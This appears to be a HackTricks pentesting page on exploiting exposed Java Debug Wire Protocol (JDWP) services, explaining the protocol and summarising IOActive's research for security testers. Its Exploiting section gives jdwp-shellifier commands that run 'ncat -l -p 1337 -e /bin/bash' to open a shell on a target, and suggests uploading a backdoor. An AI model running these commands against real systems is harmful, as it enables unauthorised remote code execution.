DΛΣMӨП

// HackTricks · Network Services

Pentesting JDWP - Java Debug Wire Protocol

Pentesting JDWP - Java Debug Wire Protocol

Exploiting

JDWP provides debugger-level control and the wire protocol itself has no authentication or encryption. A listening dt_socket transport may be bound to any configured address and port; 8000 is only a common convention. The debugger sends the 14-byte ASCII string JDWP-Handshake, and a JDWP peer replies with the same string.[3][4]

Locally, inspect Java command lines for -agentlib:jdwp, legacy -Xrunjdwp, or jdwp rather than the typo jdwk. Binding only to loopback or using an SSH tunnel reduces exposure but does not add protocol authentication.

jdwp-shellifier is a common exploitation client. The maintained Hugsy fork retains the original IOActive technique and command-line interface:[2][9]

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' makes the exploit more stable. And if you have the chance to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.[1]

  1. JDWP Overview:

    • It is a packet-based binary protocol; most commands use a synchronous request/reply model, while events are asynchronous.[3][4]
    • Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.

  2. JDWP Handshake:

    • A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).

  3. JDWP Communication:

    • Messages have fields such as length, ID, flags, and command set.[4]
    • CommandSet values range from 0x40 to 0x80, representing different actions and events.

  4. Exploitation:

    • Debugger commands can inspect classes, set breakpoints, create values, and invoke methods; exploit tools compose these primitives into command execution.[5]
    • The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.

  5. Real-Life Exploitation:

    • Exposed services and unsafe launch configurations can be found through asset search and code/configuration review.[7][8]
    • The original exploit was tested across several historical JDK versions and operating systems, but command execution still requires a suitable loaded class, breakpoint/event, permissions, and target runtime behavior.[6]

  6. Security Implications:

    • The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.

References